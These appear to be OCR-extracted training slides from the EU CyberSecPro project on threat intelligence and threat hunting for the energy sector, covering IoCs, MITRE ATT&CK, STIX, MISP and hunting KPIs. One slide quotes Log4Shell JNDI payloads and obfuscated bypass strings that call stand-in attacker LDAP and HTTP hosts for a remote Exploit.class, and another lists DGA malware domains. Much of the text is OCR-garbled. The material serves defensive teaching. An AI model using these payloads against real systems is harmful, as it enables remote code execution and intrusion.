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Cyber Threat
Intelligence and Threat

Hunting in the Energy
Domain

Overview

o Topic-1: Introduction to Threat Intelligence and
Threat Hunting

o Topic-2: Data Sources and Collection
o Topic-3: Threat Actors and Tactics

o Topic-4: Practical Threat Modelling and Security
Investigation
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Agenda

Ol. Threat Intelligence
O2. Sources of Intelligence

03. Threat Hunting
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OBJECTIVES

At the end of this session, you should be able to ...

1. ldentify the different types of adversaries that
pose a threat to our computer systems

2. ldentify the different types of intelligence we
can use to characterise threats

3. Explore different open-source tools that allow
us to share intelligence and automate
responses

4. Recognise the wide range of publicly
available sources of Cyber Threat

Intelligence @ cyversecero @@@@
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Threat Intelligence
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What is cyber threat intelligence (CTI)

The use of skills, knowledge, and experience to collect and evaluate the reliability of
information related to , Including ftheirintentions, capabilities
and potential opportunities, in order to mitigate possible cyber-attacks and the harm
they may cause.

Adversaries want to attack computer systems, it is important to understand their intent:
o Political motivations?

o Hacktivism?
o Economical gain?

Their capabilities are just as important. Are the adversaries a state-sponsored hacking
group, technically skilled criminals, or script kiddies who/are playing around with new
toolse There is a wide range of capabilities in these groups. 3ome may not be relevant.
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CYBER THREAT ACTOR

NATION-STATES

CYBERCRIMINALS

HACKTIVISTS
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Source: Top 7 Popular Cyber Threat Models - SecurityMadeSimple.org
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https://securitymadesimple.org/cybersecurity-blog/top-7-popular-cyber-threat-models/

Key Concepts

Adversary / Threat Actor

The person or team of people behind the
keyboard, carrying out the cyber-attack.
This can be loosely defined, e.g. Military
Unit 26165, or a specific individual, e.g.
Kevin Mitnick.

Campaign

Sustained malicious operations of an
adversary that carry a single focus or
end goal, e.g. impair a company’s
online service, or sabotage an oil & gas
refinery.

Tactics, Techniques, and Procedure (TTP)

A way of describing a method or set of
methods used by adversaries to
compromise a machine or system.

Indicators of Compromise (IoC)

Pieces of forensic data, found in system
logs, files, network packet captures, etc.,
that identify malicious activity on a
computer system or network.
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SANS Institute Pyramid of Pain

The pain refers to the pain you can

cause an adversary, if you were able to |
detect and identify the elements in that A *Tough!
level of the pyramid.

Tools eChallenging

Network/ :
Host Artifacts 'Annoymg

eSimple

The wider the section of the pyramid is, _ eTrivial
the more accurate and actionable the

information is.

SANS is an acronym for SysAdmin, Audit, Network, and Security. @ CyberSeckro @

The higher up the pyramid, the more

painful it is for attackers. Domain Names




Hash Values

Hashing algorithms produce a message digest from a given input, and are used to
verify the integrity of a piece of software to ensure no malicious changes have been
made.

Common hashing algorithms include SHA1, MD5, and SHA256.
Hashing algorithms are one-way functions®.

A change in even one bit of the input produces a different hash.

Input Input » Audacity 3.1.2 64 bit installer

Hello Hallo SHAZ256 Checksum:

6a3f5f7c1801d30de48ed2477be87b429336e3ed42d65cfpf12cdblal01d1906

P Audacity 3.1.2 64 bit zip file

Qutput Qutput
SHAZ256 Checksum:

8b1a5%953c4611296a827abf3c47884d7  1dellcf8b863fb31lcachlice23cBb3bl
3d1d4eR97c48b7d685c8061928b84acdack257d4Ras17567de223d75F41bbb4a
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I[P, domain, network artefacts

piuuugusudtuku.ddns.net

Standard duer} Ox6caf

H _ Standard query @xb48b onogibuluremg.ddns.net
[)C)fTW(]lr\S C]”()\A/ L{S T() use f\LJtTWC]rW rEBC?CjC]k)lea Standard query @x66fc geevheugsemaif.ddns.net
names f()r \A/E;t)S|TE§S (]r1(j ()r]hr1€3 services. Standard query 8x7b8c egisrihuwuwoom.ddns.net

Standard query @x6660

. dard b
IP addresses are a very definite, but o oneare ey o

domains can be used to fool humans. Standard query Oxa24e
Standard query @x6644

Standard query ©0x63de

enaxontugahoun.ddns.net
vaugomadassaeb.ddns.net
opdeikixaxec.ddns.net
oticrivievhuow.ddns.net
ugodupegbo.ddns.net
xisenuun.ddns.net

MOny mOlWOre fCImi”eS are USiﬂg DOmGin Standard query @x0243 omexithamisi.ddns.net

H ' Standard query @xbeca uxtoleite.ddns.net
GenerOTIOﬂ AlgOflTth (DGAS) TO Standard query 0x12b6 uglaweedipwaho.ddns.net
F>rc>c:eachJrc]H§/ credate and rEBEJISTEBF Standard query ©x57dc ahtilenearo.ddns.net

niesivaxumo.ddns.net
iricilec.ddns.net
ugadvoduurgeuhi.ddns.net

Cj . Standard query 0x3e8c
omains. Standard query @xd3fé

Standard query 8x734a

This gi\/es the p|Gn-|-ed malware f|ex|b|||'|'y Standard query ©x94bl ehwepikeisi.ddns.net

. . . . Standard query @xc9e9 ehukguaggox.ddns.net
in finding a connection back to the Standard query 6x292f A onwaukfitamia.ddns.net
GHGCkerS Standard query 8x2975 idxoebsad.ddns.net

Standard query @xac37
Standard query @x8b92

ihneuwvaixq.ddns.net
subaukewoktalev.ddns.net
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Tactics, Techniques, and
Procedures (TTP)

TTPs are a hierarchical classifications of adversary behaviour. Using TTPs in
combinations with the MITRE ATT&CK Framework makes it easier to “fingerprint” a
threat group.

A tactic is the highest-level method to achieve a goal via cyber-attack.
E.Q. Infection with Malware via Spear Phish (Initial Access).
A technique is how the tactic is employed.
E.g. Crafting malicious exploit inside PDF file (T1566.001).
A procedure is how the technique is delivered.
E.g. the commands that are used to create the PDF and send the emaiil.

The term TTP is sometimes used to generally describe how an adversary operates.
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MITRE ATT&CK Framework

MITRE's ATT&CK Framework allows for easy identification and sharing of TTPs

Initial Access
9 techniques

Drive-by
Compromise
Exploit Public-
Facing
Application

External Remote
Services

Hardware
Additions

Spearphishing Attachment
Phishing Spearphishing Link

Spearphishing via Service

Replication
Through
Removable
Media

Supply Chain
Compromise

Trusted
Relationship

Valid
Accounts

—

Procedure Examples Detection
D Name Description ID Data Source Data Component
G0018  admin@338 admin@338 has sent emails with malicious Microsoft Office documents attached.!"! DS0015 = Application Log =~ Application Log Content
S0331 Agent Tesla The primary delivered mechaism for Agent Tesla is through email phishing messages.iz] DS0022  File File Creation
GO0130  Ajax Security Ajax Security Team has used personalized spearphishing attachments.*! DS0029  Network Traffic = Network Traffic Content

Team

Mitigations

ID

M1049

M1031

Mitigation

Antivirus/Antimalware

Network Intrusion
Prevention

Description

Anti-virus can also automatically quarantine suspicious files.

Network Traffic Flow

Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.

@ CyberSecPro @
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Structured Threat Information
eXpression (STIX)

Language and serialization format for exchanging CTl

Can be visudlly represented for an analyst or stored as JSON

APT 8PP
Goals: Infiuence the Branistan election,
Disrupt the 8P

Resource Level: Government
Primary Motivation: ideology
Secondary Motivations: Dominance

HTTP Flood

Primary Motivation: (declogy
Secondary Motivation: Dominance

Operation Bran Flakes
Aliases: O8F
First Seen: 2016-01-08712:50:40:1232

Operstion fatin fren

Allases: ORB

First Seen: 2016-02-07719:45:32. 1262
Oijecthve: Aood i bop.bn

“type™: "bundle",
"id": "bundle--56be2a3b-1534-4bef-8fe9-682926274839",

"objects": [
{
"type": "indicator",
"spec_wversion™: "2.1",

"id": "indicator--d81f86b9-975b-4c@b-875e-8108c5ad45adf",
“"created”: "2814-86-29T13:49:37.8791",
"modified”: "2014-86-29T13:49:37.879L",
"name™: "Malicious site hosting downloader™,
"description”: "This crganized threat actor group operates
"indicator types”: [

"malicious-activity"
1,
"pattern”™: "[url:value = 'http://x4z%arb.cn/4712/']",
"pattern_type™: "stix",
"valid_from™: "2814-86-29T13:49:37.879Z"
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Malware Information Sharing
Platform (MISP)

Open-Source threat intelligence platform. e st 1500 =1
+ Spearphishing Link - T1192Q, =W

Can automatically Snort, Suricata, Bro,

k S | A Scope #= Physics B Display Y Filters Export ‘D History
Z e e I D rU es . @ Edit A virusm?aﬁ-repﬂrl

file: ddcf49145d8c78198138a488b7]...]

Can export to STIX, OpenlOC, text or csv.

Python, Ruby, Go, and HTIP libraries
available.

file: c052025b442995f04a68b1b6b2][...]

Can integrate with ©
ElasticSearch/Logstash/Kibana (ELK). ]w

]
targets
\ / targets
/ f)_[emall-ditl ]attms(i@mi'ﬁom]

& e——OWREFD
—_—
targets i~
target oy

persor\
B L targets
analysed-with
29846fa671]...] / \
containgd-within - b oo
/ \
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OPENIOC

AR
Another open standard for sharing information on malicious activities.

The name of a service is "MS latent time services"

C)R‘ émService Name contains "MS latent time serwices"

i Berwice DLL contains "evil.exe"

The ServiceDLL name contains "evil.exe" =) AND

-+ File Name is "bad.exe"
- File Size is "4096 TO 1loz40"

OR

The filename is "bad.exe" AND the file size attribute of that file is within the range
4096 to 10240 bytes.

orr (IO
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AlienVault Open Threat
Exchange (OTX

3
g Browse Scan Endpeints Create Pulse Submit Sample APl Integration

We've found 70M + results

Adversaries ( 346)

Pulses (124K ) Users (171K ) Groups ( 491) Indicators (70M ) Malware Families ( 25K ) Industries (19)

Show: APICreated » Sort: Recently Modified «

Nanocore - Malware Domain Feed V2
t'ﬁ'? [CREATED | 3 YEARS AGO 4 HOURS AGD by otxrobottwo | Public| TLP:| | White

Domain: 17 | Hostname: 1122
Command and Control demains for malware known as Manocere. These demains are extracted from malware sandbox reports using a Machine Learning model trained en a corpus of good and bad demains.

DarkComet - Malware Domain Feed V2
ﬂﬁ.’ [CREATED | 3 YEARS AGO 4 HOURS AGO by otxrobottwo | Public| TLP White

Domain: 47 | Hostname: 385
— Command and Control demains for malware known as DarkComet. These demains are extracted from malware sandbex reports using a Machine Learning medel trained on a corpus of good and bad domains.

NjRat - Malware Domain Feed V2

2 YEARS AGOD 4 HOURS AGO by otxrobottwo._testing | Public | TLP:| | White
Domain: 5| Hostname: 322
Command and Control domains for malware known as NjRat. These domains are extracted from malware sandbox reports using a Machine Learning model trained on a corpus of good and bad domains.

g o [OIOISIO)
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Virustotal

Upload any file and VirusTotal will run it against a range of the worlds best anti-virus

tools

Q

x

Community o

Score

DETECTION

Ad-Aware

Arcabit

Emsisoft

ESET-NOD32

(1) 14 engines detected this file v s

&4461d0988c835e91eb534757a%fa3ab35afe010bec7d5406d4dfb3 | 08 MB 2021-03-02 03:42-35 UTC .rﬂﬂ
Dea7b7ab2c o N o €LF
Size our ago
spectre
b4bits  cve-2017-6753  elf exploit wvia-tor
DETAILS BEHAVIOR communTY @
(1) Trojan.Linux.Exploit. AH AegisLab (1) Trojan.MultiGeneric.dlc
(1) Trojan.Linux.Exploit. AH BitDefender (1) Trojan.Linux.Exploit AH
(1) Trojan.Linux.Exploit.AH (B) eScan (1) Trojan.Linux.Exploit. AH
(1) AVariant Of Linux/Exploit.CVE-2017-5... FireEye (1) Trojan.Linux.Exploit.AH

8 o [QIOISIO
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Social media g

' Kevin Beaumont &
O?é | might write a blog on Log4j/Log4shell over coming days, as there’s some

interesting elements | don’t think commonly understood, which will impact
how it will play out.

L.e, it mostly won't be a flash in the pan, it will fester. 9:26 PM

Kevin Beaumont @ Hi where do you sign up for
Tip if you're responding to a Log4shell incident: logs or it didn’t happe
[[s y re respondi 0gAs! incider r it didn’t hag n. Zeroday a|ertS?

An enormous amount of cases are unsuccessful.

/\g@ stypr
"—,/> ${ndi:${lower:l}$ {lower.d}a${lower:p}.//loc${upper:a}ihost:1389/rce}

affic - it needs outbound for attack to be

10:39 PM

successful

Run something like this to inspect logs.

log4) b lol s
092 Jypess 2 Twitter

Lessons learned: Don't use Java. Now « SMS

"9‘ Marcus Hutchins @

Simple tool | made for people investigating log4j
exploitation attempts. It'll fetch the exploit payloads
(java code) from the LDAP address provided in the JNDI
string.

Neo23x0/log4shell-
detector

‘ l Emy | eq £
k 3’ Another hit from 45.155.205[.]233

Tries to exploit using GET requests and 2 HTTP Headers, with
various bypass mechanisms

P F X Ekeis
There may be many ways to avoid detection :_(
-

jndi:
jn${env:-}di:
jn${date:}di${date:""}

${indi:${lowerl}$ {lowerd}${lower:a)${lowerp}://

SN E-n)S{o-d) S -1k $ (- NS {-d)$-a) S {=-pl//

Redacted stuff is my IP.

y ldap://maliciouserver:1337/path

J${k8s:k5:-ND}i${sd:k5:-:}
J${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
J${:-nD}is{:-)
J${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper:}

om ldap://maliciouserver:1337/path
http://maliciouserver:88/Exploit.class

br left behind un-compile payload http://malicious
byload Exploit.java

log4j bypass ompiled payload http://maliciouserver:8@/Exploit.
i saved to file Exploit.class_

@ CyberSecPro @ ® @
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Sources of Intelligence
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Threat Hunting




What is Threat Hunting?

Define, what you consider as threat hunting
Do you have any experience?

Are you interfacing with threat hunters, e.g.
by providing information to them®e

How are new threats detected in your
environments¢ Active or passive?

- 00



Threat Hunting

The art of searching through networks and systems in order to detect and isolate
threats.

o |t is a proactive measure
o |t tfargets advanced threats
o |t assumes breach of security solutions in place

Threat Hunting is typically done without explicit call for an investigation
o Done without an actual cause

o Hunts are repeated

Threat Hunting often builds on Security Monitoring, but is not the same

o (IO



Why Threat Hunting?

Shifting "Up the Stack”
People (enfities)
Processes
Top-down visibdity:
Pocple {(entities), information, processes,
Transactions transactions, and applications
“' : Services The goal of information security has always been to protect
information and IT-enabled process resilience, In the world
of cloud-based digital business, we must have top-down
Workspace visibility of our information, identities and processes.
mmmm———y
0s Bottom-up visibility:
= Devices, servers, netwerks, operating
systems and workspaces
Network
Hardware
D17

g o [OIOISIO)
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Some Vocabulary

Dwell Time — Number of days an attacker is present in a victim system before being
detected

Hypothesis — A research question that can be asked right at the start of the hunt -
Subsequently data and indicators are evaluated whether they support the
hypothesis or nof.

TTPs — Tactics, Techniques and Procedures

orr (IO



Benefits

—

Due to the basic principle — we are looking for attackers that had success, so we can
find them

o Complete oversight of a typical organization is not possible at this point

Improves detection capabilities
o Permanently hones skills

o Supports early detection of potential attack vectors
o Increases awareness towards your attack surface

Improves your data collection

oo (IO



Cyber Incident Response Plans

Structured approach to preparation
> What measures should be in place, what information gatherede
- What to do in case of an incident?
o Contact Information
o Based on risk analysis and BIA.

o Different forms of attack

Require

o Thorough analysis

o Regular maintenance
o Awareness & Training

oo (IO




Cyber Incident Response
Readiness

Assessing your Cyber Incident Response Readiness
o Structured approaches exist

One good example:
o Checklists developed by the Australion Government

o Simple and usable

https://www.cyber.gov.au/sites/default/files/2022-
07/ACSC%20Cvber%20Incident%20Readiness%20Checklist A4.pdf

- 00
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https://www.cyber.gov.au/sites/default/files/2022-07/ACSC%20Cyber%20Incident%20Readiness%20Checklist_A4.pdf

Cyber Incident Response Readiness

Up-to-date hard copy versions of the Cyber Incident Response Plan and playbooks are stored
in a secure location (in case of electronic or hardware failure) and are accessible to authorised
staff members.

Specific playbooks to supplement the Cyber Incident Response Plan have been developed,
that define step-by-step guidance for response actions to commen incidents, and roles
and responsibilities.

A Cyber Incident Response Team (CIRT) and a Senior Executive Management Team (SEMT)
- or equivalents - have been formed to manage the response, with approved authorities.

All relevant IT and OT Standard Operating Procedures (SOPs) are documented and have been
reviewed or tested in an exercise to ensure they remain current and responsible personnel are
aware of their roles, responsibilities and processes.

Arrangements for service providers, including cloud and software as a service, to provide and
retain logs have been established and tested to ensure these include useful data and can be
provided in a fimely manner.

Log retention for critical systems have been configured adequately and tested to confirm that
they capture useful data. Refer o the ACSC publications including Windows Event Logging

and Forwarding for specific guidance.
@ CyberSecPro @ ® @ @
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The Threat Hunting Maturity Model

Describes
o Development levels

o Associated possibilities

Divided into three levels from 0 fo 4

Based on three key factors
o Quantity and quality of data
o The ways in which different data sources are visualized and analyzed
o Automation of data enrichment with sources, e.g. from Threat Intelligence or DNS

orr (IO



The Threat Hunting Maturity Model

LEVEL

INITIAL

* Relies primarily on
automated alerting

* Little or no routine
data collection

LEVEL

MINIMAL

* Incorporates threat

intelligence
indicator searches

* Moderate ar high

level of routine data
collections

https://medium.com/@sqrridata/the-cyber-hunting-maturity-model-6d506faa8ad5

8 o [QYOISIO

BY NC SA

LEVEL

PROCEDURAL

* Follows data

analysis procedures
created by others

« High or very high

level of routine data
collection

* Creates new data

* High or very high

LEVEL o
e LEADING

* Automates the
majority of
successful data
analysis procedures

INNOVATIVE

analysis procedures + High or very high

level of routine data

level of routine data collection

collection

SQRRL Hunting Maturity Model




The Threat Hunting Maturity Model

Higher levels cannot be achieved by using tools
alone
o Requires teams to find new threat actors

o |s based on human creativity and thinking out of the
box

o Combined with automating non-creative tasks and
basic information acquisition and enrichments

o Working in feams

The maturity model can be used as a roadmap
for enhancing Threat Hunting Teams

orr (IO



Threat Hunting KPIs

Key Performance Indicators (KPIs) help to analyze
and visuadlize the success of a threat hunting
system

Metrics can support decision makers
o Qs a warning mechanism that things go south

> in making the right decision by making actual results
comparable to theoretical ones

Metrics like these should never be used
o As sole mechanic for remuneration

o To compare different analysts

orr (IO



Threat Hunting KPIs

Effort based KPlIs
o What did we do to enhance our hunts?

Success based KPlIs
o How did we succeed in our hunts?

Management based KPIs
o How is Threat Hunting integrated into the organizatio

Some examples on the following slides

orr (IO



Effort based KDPIs

Number of Threat Hunts completed

Number of data sources connected

Number of analysts involved after a completed threat hunt
Average tfime dedicated to a Threat Hunt

Number of incomplete threat hunts

Number of hypotheses that were (not) found by the threat hunting model used

Number of non-malicious findings by category (security risk, logging
vulnerability, incorrect user permissions, tool misconfiguration, etc.)

orr (IO



Success based KPlIs

Number of false positives reduced
Number and type of findings (malicious, non-malicious)

Number of non-malicious findings by category (security risk, logging vulnerability,
incorrect user permissions, tool misconfiguration, etc.)

Reduce record size by filtering detected non-malicious activity
Number of newly detected attack techniques

Number of new detections generated

Dwell time of findings (elapsed time unftil detection)

Number of proactively detected incidents compared to reactively detected
incidents- Severity of incidents

The number of compromised, unsecured or misconfigured systems detected
Number of resolved findings by severity

o (IO



Management based KPIs

Threat hunting management budget

Data model and data quality assurance process established
All threat hunts are driven by threat intelligence relevant to the organization.
Threat Hunting team works closely with other teams.

New detection mechanisms are implemented on an ongoing basis.

All threat hunts performed are properly documented.

All generated detections are properly automated.

Improvements made to the threat hunting process

orr (IO



Summary

—

A threat is a combination of capability, opportunity, and malicious intent

Adversaries have many motivations, and can come from anywhere; from within the
victim organisation, or from a foreign power

There are many ways to catalogue and share threat intelligence using open-source
tools: STIX, MISP, OpenlOC

« Some of these tools provide programming interfaces for automating Firewall and IDS/IPS
configurations

There is publicly available intel from both public and private sector organisations
» Cyber security firms, organisations dealing with big data, government bodies, etc.

oo (IO



How to register and other
practical information

Website:
www.cvbersecpro-project.eu

€28 CONSULTING

X (Twitter):
hitps://twitter.com/CyberSecPro _eu

LinkedIn:
https://www.linkedin.com/company/cy

bersecpro-euproject/

Co-funded by
the European Union

Co-funded by the European Union. Views and opinions expressed are
however those of the author(s) only and do not necessarily reflect those of
the European Union or HADEA. Neither the European Union nor the granting
autharity can be held respansible for them.

Project Agreement no. 101083594

é ACEEU

o
P+

e

R

APIROPLUS SOLUTIONS

uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu

.............

Maggioli S.p.A

@ SINTEF

nnnnnnn

University
of Cyprus

University of Cyprus
Cyprn

Zelus

ZELUSP.C
Grvecr

=

SO0CIAL
ENGINEERING
ACADEMY

Social Engineering Academy GmbH

any

aaaaaaaaaaaaaaaaaaa

TAL
TECH

Tallin University of Technology

thStlllO

nnnnnnnnnnnnnn
nnnnnnnn

aaaaaaaaaaaaaaaaaaaaaaaa
uuuuuuuu

......



http://www.cybersecpro-project.eu/
https://twitter.com/CyberSecPro_eu
https://www.linkedin.com/company/cybersecpro-euproject/
https://www.linkedin.com/company/cybersecpro-euproject/

CSP006_S_E: Stefan Schauer and Abdelkader Shaaban

Thank you

Please send all questions to:
Stefan Schauer
Stefan.Schauver@ait.ac.at
Abdelkader Shaaban,
abdelkader.Shaaban@ait.ac.at
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